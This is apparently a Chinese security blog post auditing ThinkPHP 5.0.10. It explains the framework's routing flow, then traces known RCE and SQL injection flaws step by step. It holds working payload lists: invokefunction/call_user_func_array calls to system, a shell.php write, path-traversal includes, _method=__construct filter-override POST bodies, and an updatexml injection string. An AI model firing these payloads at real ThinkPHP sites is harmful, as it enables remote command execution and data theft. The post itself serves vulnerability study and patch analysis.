ThinkPHP v5.0.10代码审计
## 前言
ThinkPHP 是国内著名的 php开发框架,基于MVC模式,最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP。
ThinkPHP5.0版本是一个颠覆和重构版本,采用全新的架构思想,引入了更多的PHP新特性,优化了核心,减少了依赖,实现了真正的惰性加载,支持composer,并针对API开发做了大量的优化,包括路由、日志、异常、模型、数据库、模板引擎和验证等模块都已经重构。
ThinkPHP5下载:
https://www.thinkphp.cn/down.html
本文用到的是ThinkPHP5.0.10完整版
https://www.thinkphp.cn/donate/download/id/1015.html
ThinkPHP操作手册:
https://www.kancloud.cn/thinkphp/thinkphp5_quickstart #快速开始
https://www.kancloud.cn/manual/thinkphp5 #完全开发手册
目前,仍然有非常多网站以ThinkPHP5为框架开发。本文我们的目的是熟悉TP5框架,分析与复现历史漏洞,这里我们选择的版本是ThinkPHP5.0.10完整版。
ThinkPHP5的运行环境要求PHP5.4以上。
ThinkPHP5基础
目录结构
初始的目录结构
如下:
www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改)
│ ├─module_name 模块目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函数文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─database.php 数据库配置文件
│
├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
入口文件:
ThinkPHP5.0
版本的默认自带的入口文件位于public/index.php
(实际部署的时候public
目录为你的应用对外访问目录),入口文件内容如下:
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
这段代码的作用就是定义应用目录APP_PATH
和加载ThinkPHP
框架的入口文件,这是所有基于ThinkPHP
开发应用的第一步。
官方提供的默认应用的实际目录结构和说明如下:
├─application 应用目录(可设置)
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块公共文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ └─view 视图目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共文件
│ ├─config.php 应用配置文件
│ ├─tags.php 应用行为扩展定义文件
│ ├─database.php 数据库配置文件
│ └─route.php 路由配置文件
5.0
版本采用模块化的设计架构,默认的应用目录下面只有一个index
模块目录。
静态资源文件:
网站的资源文件一般放入public
目录的子目录下面,例如
public
├─index.php 应用入口文件
├─static 静态资源目录
│ ├─css 样式目录
│ ├─js 脚本目录
│ └─img 图像目录
调试模式:
应用配置文件(application/config.php
)中的app_debug
配置参数:
// 关闭调试模式
'app_debug' => false,
配置文件
在ThinkPHP中,一般来说应用的配置文件是自动加载的,加载的顺序是:
惯例配置->应用配置->扩展配置->场景配置->模块配置->动态配置
以上是配置文件的加载顺序,因为后面的配置会覆盖之前的同名配置(在没有生效的前提下),所以配置的优先顺序从右到左。
惯例配置:位于thinkphp/convention.php
应用配置:位于application/config.php
扩展配置:V5.0.1
开始,取消了该配置参数,扩展配置文件直接放入application/extra
目录会自动加载。
场景配置:每个应用都可以在不同的情况下设置自己的状态(或者称之为应用场景),并且加载不同的配置文件。
模块配置:位于application/当前模块名/config.php
控制器
根据类的命名空间可以快速定位文件位置,在
ThinkPHP5.0
的规范里面,命名空间其实对应了文件的所在目录,app
命名空间通常代表了文件的起始目录为application
,而think
命名空间则代表了文件的起始目录为thinkphp/library/think
,后面的命名空间则表示从起始目录开始的子目录。
我们找到index
模块的Index
控制器(文件位于application/index/controller/Index.php
注意大小写),我们把Index
控制器类的index
方法修改为Hello,World!
。
如果要访问一个驼峰命名的控制器,例如我们把上面的例子改成一个HelloWorld
控制器。
默认情况下正确的方法是使用下面的URL进行访问
http://serverName/index.php/index/hello_world
下面的访问地址是错误的
http://serverName/index.php/index/HelloWorld
因为默认的URL访问是不区分大小写的,全部都会转换为小写的控制器名,除非你在应用配置文件中,设置了关闭url自动转换如下:
'url_convert' => false,
一般来说,ThinkPHP的控制器是一个类,而操作则是控制器类的一个公共方法。控制器类可以包括多个操作方法,但如果你的操作方法是protected
或者private
类型的话,是无法直接通过URL访问到该操作的,也就是说只有public
类型的操作方法才是可以通过URL访问的。
例如:
<?phpnamespace app\index\controller;class Index{ public function hello() { return 'hello,thinkphp!'; } public function test() { return '这是一个测试方法!'; } protected function hello2() { return '只是protected方法!'; } private function hello3() { return '这是private方法!'; }}
当我们访问如下URL地址的时候,前面两个是正常访问,后面两个则会显示异常。
http://serverName/index.php/index/index/hellohttp://serverName/index.php/index/index/testhttp://serverName/index.php/index/index/hello2http://serverName/index.php/index/index/hello3
视图
现在我们在给控制器添加视图文件功能,我们在application/index
目录下面创建一个view
目录,然后添加模板文件view/index/hello.html
(注意大小写),我们添加模板内容如下:
<html><head><title>hello {$name}</title></head><body> hello, {$name}!</body></html>
要输出视图,必须在控制器方法中进行模板渲染输出操作,现在修改控制器类如下:
<?phpnamespace app\index\controller;use think\Controller;class Index extends Controller{ public function hello($name = 'thinkphp') { $this->assign('name', $name); return $this->fetch(); }}
Index
控制器类继承了 think\Controller
类之后,我们可以直接使用封装好的assign
和fetch
方法进行模板变量赋值和渲染输出。
fetch
方法中我们没有指定任何模板,所以按照系统默认的规则(视图目录/控制器/操作方法)输出了view/index/hello.html
模板文件。
接下来,我们在浏览器访问
http://serverName/index.php/index/index/hello
URL&路由
URL访问
一个标准的URL
访问格式(pathinfo模式):
http://domainName/index.php/模块/控制器/操作/[参数名/参数值...]
其中index.php
就称之为应用的入口文件(入口文件可以被隐藏,参考)。
模块在ThinkPHP中的概念其实就是应用目录下面的子目录,而官方的规范是目录名小写,因此模块全部采用小写命名,无论URL是否开启大小写转换,模块名都会强制小写。
如果你的控制器是驼峰的,例如定义一个HelloWorld控制器(application/index/controller/HelloWorld.php
),正确的URL访问地址(该地址可以使用url方法生成)应该是:
http://servername/index.php/index/hello_world/index
如果使用
http://servername/index.php/index/HelloWorld/index
将会报错,并提示Helloworld
控制器类不存在。
如果希望严格区分大小写访问(这样就可以支持驼峰法进行控制器访问),可以在应用配置文件中设置:
// 关闭URL自动转换(支持驼峰访问控制器)'url_convert' => false,
关闭URL自动转换之后,必须使用下面的URL地址访问(控制器名称必须严格使用控制器类的名称,不包含控制器后缀):
http://servername/index.php/index/HelloWorld/indexhttp://servername/index.php/index/hello_world/index
如果你的服务器环境不支持pathinfo
方式的URL访问,可以使用兼容方式,例如:
http://servername/index.php?s=/index/Index/index
其中变量s
的名称的可以配置的。
5.0不再支持普通的URL访问方式,所以下面的访问是无效的,你会发现无论输入什么,访问的都是默认的控制器和操作_
http://servername/index.php?m=index&c=Index&a=hello
参数传入
上面我们使用了,如下方式传参
http://domainName/index.php/模块/控制器/操作/[参数名1/参数值1/参数名2/参数值2...]
除此之外,还可以使用
http://domainName/index.php/模块/控制器/操作?参数1=值1&参数2=值2...
还可以进一步对URL地址做简化,前提就是我们必须明确参数的顺序代表的变量,我们更改下URL参数的获取方式,把应用配置文件中的url_param_type
参数的值修改如下:
// 按照参数顺序获取'url_param_type' => 1,
现在,URL的参数传值方式就变成了严格按照操作方法的变量定义顺序来传值了,也就是说我们必须使用下面的URL地址访问才能正确传入name
和city
参数到hello
方法:
http://servername/index.php/index/HelloWorld/index/thinkphp/shanghai
页面输出结果为:
Hello,thinkphp! You come from shanghai.
定义路由
我们可以通过在路由定义文件(application/route.php
)里面添加一些路由规则,来简化URL访问
例如:
return [ // 添加路由规则 路由到 index控制器的hello操作方法 'hello/[:name]' => 'index/index/hello',];
该路由规则表示所有hello
开头的并且带参数的访问都会路由到index
控制器的hello
操作方法。
路由之前的URL访问地址为:
http://servername/index/index/hello/name/thinkphp
定义路由后就只能访问下面的URL地址
http://servername/hello/thinkphp
注意
定义路由规则后,原来的URL地址将会失效,变成非法请求。
我们还可以约束路由规则的请求类型或者URL后缀之类的条件,例如:
return [ // 定义路由的请求类型和后缀 'hello/[:name]' => ['index/hello', ['method' => 'get', 'ext' => 'html']],];
上面定义的路由规则限制了必须是get
请求,而且后缀必须是html
的,所以下面的访问地址:
http://servername/hello // 无效http://servername/hello.html // 有效http://servername/hello/thinkphp // 无效http://servername/hello/thinkphp.html // 有效
数据库
ThinkPHP内置了抽象数据库访问层,把不同的数据库操作封装起来,我们只需要使用公共的Db类进行操作,而无需针对不同的数据库写不同的代码和底层实现,Db类会自动调用相应的数据库驱动来处理。采用PDO方式,目前包含了Mysql、SqlServer、PgSQL、Sqlite等数据库的支持。
数据库配置方式有很多,常用的配置方式是在应用目录或者模块目录下面的database.php
中添加下面的配置参数:
return [ // 数据库类型 'type' => 'mysql', // 服务器地址 'hostname' => '127.0.0.1', // 数据库名 'database' => 'thinkphp', // 用户名 'username' => 'root', // 密码 'password' => 'root', // 端口 'hostport' => '3306', // 连接dsn 'dsn' => '', // 数据库连接参数 'params' => [], // 数据库编码默认采用utf8 'charset' => 'utf8', // 数据库表前缀 'prefix' => '', // 数据库调试模式 'debug' => true, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) 'deploy' => 0, // 数据库读写是否分离 主从式有效 'rw_separate' => false, // 读写分离后 主服务器数量 'master_num' => 1, // 指定从服务器序号 'slave_no' => '', // 是否严格检查字段是否存在 'fields_strict' => true, // 数据集返回类型 'resultset_type' => 'array', // 自动写入时间戳字段 'auto_timestamp' => false, // 时间字段取出后的默认时间格式 'datetime_format' => 'Y-m-d H:i:s', // 是否需要进行SQL性能分析 'sql_explain' => false,];
配置了数据库连接信息后,我们就可以直接使用数据库运行原生SQL操作了,支持query
(查询操作)和execute
(写入操作)方法,并且支持参数绑定。
Db::query('select * from think_user where id=?',[8]);Db::execute('insert into think_user (id, name) values (?, ?)',[8,'thinkphp']);
也支持命名占位符绑定,例如:
Db::query('select * from think_user where id=:id',['id'=>8]);Db::execute('insert into think_user (id, name) values (:id, :name)',['id'=>8,'name'=>'thinkphp']);
可以使用多个数据库连接,使用
Db::connect($config)->query('select * from think_user where id=:id',['id'=>8]);
$config是一个单独的数据库配置,支持数组和字符串,也可以是一个数据库连接的配置参数名。
查询一个数据使用:
// table方法必须指定完整的数据表名Db::table('think_user')->where('id',1)->find();
查询数据集使用:
Db::table('think_user')->where('status',1)->select();
安全
SQL:
5.0
版本的数据操作使用了PDO预处理机制及自动参数绑定功能
上传:
网站的上传功能也是一个非常容易被攻击的入口,所以对上传功能的安全检查是尤其必要的。
系统的think\File
提供了文件上传的安全支持,包括对文件后缀、文件类型、文件大小以及上传图片文件的合法性检查,确保你已经在上传操作中启用了这些合法性检查。
为了方便版本升级,并且保证public目录为唯一的web可访问目录,资源文件可以放到项目之外,例如项目目录为
/home/www/thinkphp/
那么资源目录、上传文件保存的目录
/home/www/resource//home/www/resource/upload/
命名空间
ThinkPHP5只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,那么就可以实现类的自动加载。
例如,\think\cache\driver\File类的定义为:
namespace think\cache\driver;class File{}
如果我们实例化该类的话,应该是:
$class = new \think\cache\driver\File();
系统会自动加载该类对应路径的类文件,其所在的路径是 thinkphp/library/think/cache/driver/File.php。
可是为什么路径是在thinkphp/library/think下呢?这就要涉及要另一个概念—根命名空间。
根命名空间是一个关键的概念,以上面的\think\cache\driver\File类为例,think就是一个根命名空间,其对应的初始命名空间目录就是系统的类库目录(thinkphp/library/think),我们可以简单的理解一个根命名空间对应了一个类库包。
系统内置的几个根命名空间(类库包)如下:
![img](ThinkPHP v5.0.10代码审计.assets/1554882467000-9a5460d8e8a1ef8fb7355b1109a3420a.png-w331s)
框架流程分析
我们先进入到默认的入口文件(public/index.php)
// 定义应用目录define('APP_PATH', __DIR__ . '/../application/');// 加载框架引导文件require __DIR__ . '/../thinkphp/start.php';
引入start.php(框架引导文件)进入到里面看看有什么
进入框架引导文件(thinkphp/start.php)看到两行代码
// ThinkPHP 引导文件// 1. 加载基础文件require __DIR__ . '/base.php';// 2. 执行应用App::run()->send();
(1)基础文件(thinkphp/base.php)
在此文件首先看到全面大段的是定义常量或者是检查常量是否存在,主要是以下几点需要重点注意
- 将Loader类引入
- 注册自动加载机制
- 注册系统自动加载,
spl_autoload_register
将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。此函数可以注册任意数量的自动加载器,当使用尚未被定义的类(class)和接口(interface)时自动去加载。通过注册自动加载器,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 - Composer 自动加载支持
- 注册命名空间定义:
think=>thinkphp/library/think,behavior=>thinkphp/library/behavior,traits=>thinkphp/library/traits
- 加载类库映射文件
- 自动加载 extend 目录
- 注册系统自动加载,
- 注册异常处理机制
- 加载惯例配置
(2)执行应用(thinkphp/library/think/App.php)
首先返回一个request实例,将应用初始化返回配置信息。
之后进行如下的操作:
- 查看是否存在模块控制器绑定
- 对于request的实例根据设置的过滤规则进行过滤
- 加载语言包
- 监听app_dispatch
- 进行URL路由检测(routecheck)
- 记录当前调度信息,路由以及请求信息到日志中
- 请求缓存检查并进行
$data = self::exec($dispatch, $config);
,根据$dispatch进行不同的调度,返回$data - 清除类的实例化
- 输出数据到客户端,
$response = $data;
,返回一个Response类实例 - 调用 Response->send() 方法将数据返回值客户端
URL路由解析动态调试分析
URL路由解析及页面输出工作可以分为5部分。
- 路由定义:完成路由规则的定义和参数设置
- 路由检测:检查当前的URL请求是否有匹配的路由
- 路由解析:解析当前路由实际对应的操作。
- 路由调度:执行路由解析的结果调度。
- 响应输出及应用结束:将路由调度的结果数据输出至页面并结束程序运行。
我们通过动态调试来分析,这样能清楚明了的看到程序处理的整个流程,由于在Thinkphp中,配置不同其运行流程也会不同,所以我们采用默认配置来进行分析,并且由于在程序运行过程中会出现很多与之无关的流程,我也会将其略过。
路由定义
通过配置route目录下的文件对路由进行定义,这里我们采取默认的路由定义,就是不做任何路由映射。
路由检测
这部分内容主要是对当前的URL请求进行路由匹配。在路由匹配前先会获取URL中的pathinfo,然后再进行匹配,但如果没有定义路由,则会把当前pathinfo当作默认路由。
首先我们设置好IDE环境,并在路由检测功能处下断点。
然后我们请求Hello.php文件。【index模块hello控制器index方法】
http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/index/name/world
F7跟进routeCheck()方法
进入path()方法
继续跟进pathinfo()方法
这里会根据不同的请求方式获取当前URL的pathinfo信息,这里我们的请求方式是pathinfo,直接通过$_SERVER(‘PATH_INFO’)
去获取,获取之后会使用ltrim()函数对$pathinfo
进行处理去掉左侧的’/’符号。Ps:如果以兼容模式请求,则会用$_GET
方法获取。
ltrim — 删除字符串开头的空白字符(或其他字符)
然后返回赋值给$path
并将该值带入check()方法对URL路由进行检测
这里主要是对我们定义的路由规则进行匹配,但是我们是以默认配置来运行程序的,没有定义路由规则,所以跳过中间对于路由检测匹配的过程,直接来看默认路由解析过程,使用默认路由对其进行解析。
路由解析
接下来将会对路由地址进行了解析分割、验证、格式处理及赋值进而获取到相应的模块、控制器、操作名。
跟进parseUrl()方法:
这里首先会进入parseUrlPath()方法,将路由进行解析分割。
使用”/”进行分割,拿到 [模块/控制器/操作/参数/参数值]。
紧接着使用array_shift()函数挨个从$path
数组中取值对模块、控制器、操作进行赋值。
array_shift — 将数组开头的单元移出数组
接着使用parseUrlParams解析参数/参数值
然后进行路由封装将赋值后的$module
、$controller
、$action
存到route数组中
赋值给$result
变量,返回
回到最开始的App类,赋值给$dispatch
。
路由调度
这一部分将会对路由解析得到的结果(模块、控制器、操作)进行调度,得到数据结果。
跟进exec
继续跟进module执行模块:
实例化请求,并进行模块绑定
加载控制器:
加载前,会先使用class_exists()函数检查Hello类是否定义过,这时程序会调用自动加载功能去查找该类并加载
继续往下跟,调用index方法:
支持参数绑定。获取请求参数:
这里调用了bindParams()
方法对$var
参数数组进行处理,获取了Hello反射类的绑定参数,获取到后将$args
传入invokeArgs()
方法,进行反射执行。
然后程序就成功运行到了我们访问的文件
运行之后返回数据结果,到这里路由调度的任务也就结束了,剩下的任务就是响应输出了,将得到数据结果输出到浏览器页面上。
响应输出及应用结束
这一小节会对之前得到的数据结果进行响应输出并在输出之后进行扫尾工作结束应用程序运行。在响应输出之前首先会构建好响应对象,将相关输出的内容存进Response对象,然后调用Response::send()方法将最终的应用返回的数据输出到页面。
调用Response类中的create()方法去获取响应输出的相关数据,构建Response对象:
执行new static($data, $code, $header, $options);
实例化自身Response类
可以看到这里将输出内容、页面的输出类型、响应状态码等数据都传递给了Response类对象
然后就开始调用Response类中send()方法,向浏览器页面输送数据。
这里依次向浏览器发送了状态码、header头信息以及得到的内容结果。
输出完毕后,跳到了appShutdown()方法,保存日志并结束了整个程序运行。
漏洞分析
RCE1——类名解析导致任意类方法调用
概述
本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,从而调用invokefunction方法,最终导致 远程代码执行漏洞 的产生。
漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。
不同版本 payload 需稍作调整:
5.1.x:
?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x:
?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞分析
这里以5.0.10版本的thinkphp来分析。
以这个POC为例:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
下面我们一步步跟一下这个攻击链。
断点还是下在App.php文件,调用routeCheck
进行调度解析这里:
监听,发送POC
跟进routeCheck
继续跟进到path
方法里面,然后这里有一个pathinfo()函数,继续跟进
来看一下phpinfo()方法:
public function pathinfo(){ if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { // 判断URL里面是否有兼容模式参数 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } elseif (IS_CLI) { // CLI模式下 index.php module/controller/action/params/... $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : } // 分析PATHINFO信息 if (!isset($_SERVER['PATH_INFO'])) { foreach (Config::get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], RVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : RVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo;}
Config::get('var_pathinfo')
是配置文件中的设置的参数,默认值为s
,怎么找到这个变量?可以全局搜索一下,可以搜索到其中一个配置文件里面有
从GET中获取s参数的值,然后赋值给phpinfo变量返回,这里也就是index/think\app/invokefunction
最后赋值给routeCheck
中的$path
然后开始进入路由检测的部分,经过check的检查后会进入else的分支,但这一部分对于我们需要控制的变量没有任何影响,关键是$result
以及$must
这两个变量的赋值结果,这也是导致了后面操作的关键,可以进入Route::parseUrl
函数
跟进parseUrl:
再跟进一下parseUrlPath()
:
这里面就是返回一个$path变量,对包含模块/控制器/操作
的URL进行分割成数组进行返回
回到上一层的函数中,继续跟进,可以发现在自动搜索控制器的判断中进入了else语句,从而为控制器进行了赋值,这里是个赋值点,很关键
然后以$route变量返回上层run函数:
然后下面就执行到了exec方法:
其中传入的$dispatch
参数的内容如下:
跟进exec
然后进行module函数:
public static function module($result, $config, $convert = null){ if (is_string($result)) { $result = explode('/', $result); } $request = Request::instance(); if ($config['app_multi_module']) { // 多模块部署 $module = strip_tags(strtolower($result[0] ?: $config['default_module'])); $bind = Route::getBind('module'); $available = false; if ($bind) { // 绑定模块 list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; $available = true; } elseif ($module == $bindModule) { $available = true; } } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . dule)) { $available = true; } // 模块初始化 if ($module && $available) { // 初始化模块 $request->module($module); $config = self::init($module); // 模块请求缓存检查 $request->cache($config['request_cache'], fig['request_cache_expire'], $config['request_cache_except']); } else { throw new HttpException(404, 'module not exists:' . $module); } } else { // 单一模块部署 $module = ''; $request->module($module); } // 当前模块路径 App::$modulePath = APP_PATH . ($module ? $module . DS : ''); // 是否自动转换控制器和操作名 $convert = is_bool($convert) ? $convert : $config['url_convert']; // 获取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); $actionName = $convert ? strtolower($actionName) : $actionName; // 设置当前请求的控制器、操作 $request->controller(Loader::parseName($controller, 1))->action($actionName); // 监听module_init Hook::listen('module_init', $request); $instance = Loader::controller($controller, $config['url_controller_layer'], fig['controller_suffix'], $config['empty_controller']); if (is_null($instance)) { throw new HttpException(404, 'controller not exists:' . er::parseName($controller, 1)); } // 获取当前操作名 $action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 执行操作方法 $call = [$instance, $action]; } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . on . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars);}
在进入多模块部署后由于,bind的值为null,会进入elseif的条件,使available的变量成为true,这也是后面为什么可以顺利初始化module的条件,不然就会抛出异常。
继续跟进,controller变量就被赋值,然后获得方法名字,开始请求这个方法
最后还是返回了这个方法
跟进invokeMethod:
通过ReflectionMethod
方法去构造一个映射,然后调用bindParams方法对其余参数进行解析
跟进bindParams:
返回$args。
然后就运行invokeArgs方法
跟进,会来到invokefunction
函数,这个函数也类似回调函数,所以就会把&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
传进invokefunction
这个方法里面。
继续跟进的话,你会发现这个函数跟上面跟进的函数的套路一模一样,也是利用了回调的效果,也是利用一个变量把system
后面的内容返回给call_user_func_array
,只不过这次可以直接调用call_user_func_array
了,相当于执行了call_user_func_array("system","whoami")
最后成功RCE
补丁
5.0.x补丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f5.1.x补丁地址:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
补丁中加了正则限制了控制器的自定义初始化
RCE2——Request核心类变量覆盖
概述
Request核心类$method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST 。导致可以随意调用 Request 类的部分方法
过程:
让method等于
__construct
魔术方法,然后里面的foreach
函数造成变量覆盖。然后通过Request 类中的param
方法最终又调用了filterValue
方法,而该方法中就存在可利用的 call_user_func 函数,从而执行任意命令
Request 类中的
param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数
POC:
来源于网络,未全部测试
ThinkPHP <= 5.0.13
POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system
ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
ThinkPHP 5.1.x
a=system&_method=filter&c=whoami
漏洞分析
这里以5.0.10版本的thinkphp来分析。
以这个POC为例:
POST 入口/?s=index_method=__construct&filter[]=system&method=get&get[]=whoami
断点还是下在App.php文件,调用routeCheck
进行调度解析这里:
监听,发送POC
跟进routeCheck
一直往下走,直到调用check方法进行路由检测
跟进check方法
在843行调用$request->method()
方法
跟进method方法
public function method($method = false){ if (true === $method) { // 获取原始请求类型 return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? ->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = upper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = IS_CLI ? 'GET' : ($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : RVER['REQUEST_METHOD']); } } return $this->method;}
经过判断,我们会进入到elseif
语句,可以看到有一个可以控制的函数名$_POST[Config::get['var_method']
,而var_method
的值在application/config.php里面为_method
。
于是可以POST传入_method
改变$this->{$this->method}($_POST);
达到任意调用此类中的方法
而如果调用此类中的__construct
方法(也就是我们的POC):
来看一下__construct
方法
protected function __construct($options = []){ foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); } // 保存 php://input $this->input = file_get_contents('php://input');}
有一个foreach,可以引起POST数据对Requests对象属性的变量覆盖。
property_exists — 检查对象或类是否具有该属性
property_exists ( mixed
$class
, string$property
) : bool
动态跟踪一下可以看到各个属性被覆盖后的值:
继续往下跟
在App::run()方法里面,如果我们开启了debug模式,则会调用Request::param()方法:
当然,即使没有开启debug,在App::run()里面的调用的exec方法同样也会调用Request::param()方法
这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数
调用栈太深,就不一个个跟了
开启debug时的调用栈:
关闭debug时的调用栈:
array_walk_recursive — 对数组中的每个成员递归地应用用户函数
然后filterValue
方法中,调用了call_user_func
造成任意命令执行
最后返回的需要进行一次过滤,不过大致查看能发现过滤字符基本为SQL注入的过滤,不是RCE的类型
小节
不同的payload触发流程不一样,但是核心是一样的。
任意方法调用发生在method(),变量覆盖发生在__construct(),rce发生在filterValue()
补丁
官方的修复方法是:对请求方法 $method 进行白名单校验。
SQL注入漏洞分析
ThinkPHP5的SQL注入漏洞主要有以下几类:
漏洞分析均可在https://github.com/Mochazz/ThinkPHP-Vuln 找到。
这里以 parseWhereItem方法的SQL注入漏洞进行分析,其他不再展开。
SQL注入——Mysql 类的 parseWhereItem 方法
概述
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本 。
由于官方根本不认为这是一个漏洞,而认为这是他们提供的一个功能,所以官方并没有对这个问题进行修复。
漏洞环境
ThinkPHP 5.0.10
配置数据库:
/application/database.php
在index模块下添加一个控制器:
/application/index/controller/Hello.php
<?phpnamespace app\index\controller;class Hello{ public function test() { $username = request()->get('username'); $result = db('user')->where('username','exp',$username)->select(); return 'select success'; }}
/application/config.php
开启app_debug (没开启 app_debug 是无法看到 SQL 报错信息的)、app_trace(显示SQL语句执行信息,便于调试)
漏洞分析
POC:
http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/test?username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23
下面跟一下流程:
打断点,发POC
程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,但是该方法默认情况下并没有对数据进行很好的过滤,所以用户输入的数据会原样进入框架的 SQL 查询方法中
在 SQL 查询方法中,首先程序先调用 Query 类的 where 方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回
然后继续调用 select 方法准备开始构建 select 语句。
接着会调用 Builder 类的 select 方法,跟进
在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据。
我们跟进这个 parseWhere 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数。
继续跟进 buildWhere 函数,发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。
跟进parseWhereItem
我们发现当操作符等于 EXP 时,将来自用户的数据直接拼接进了 SQL 语句,最终导致了 SQL注入漏洞 。
小节
最后,再通过一张攻击流程图来回顾整个攻击过程。
(网图)
(⭐)ThinkPHP5.0.24反序列化利用链
由于篇幅问题,下一篇文章展开。。。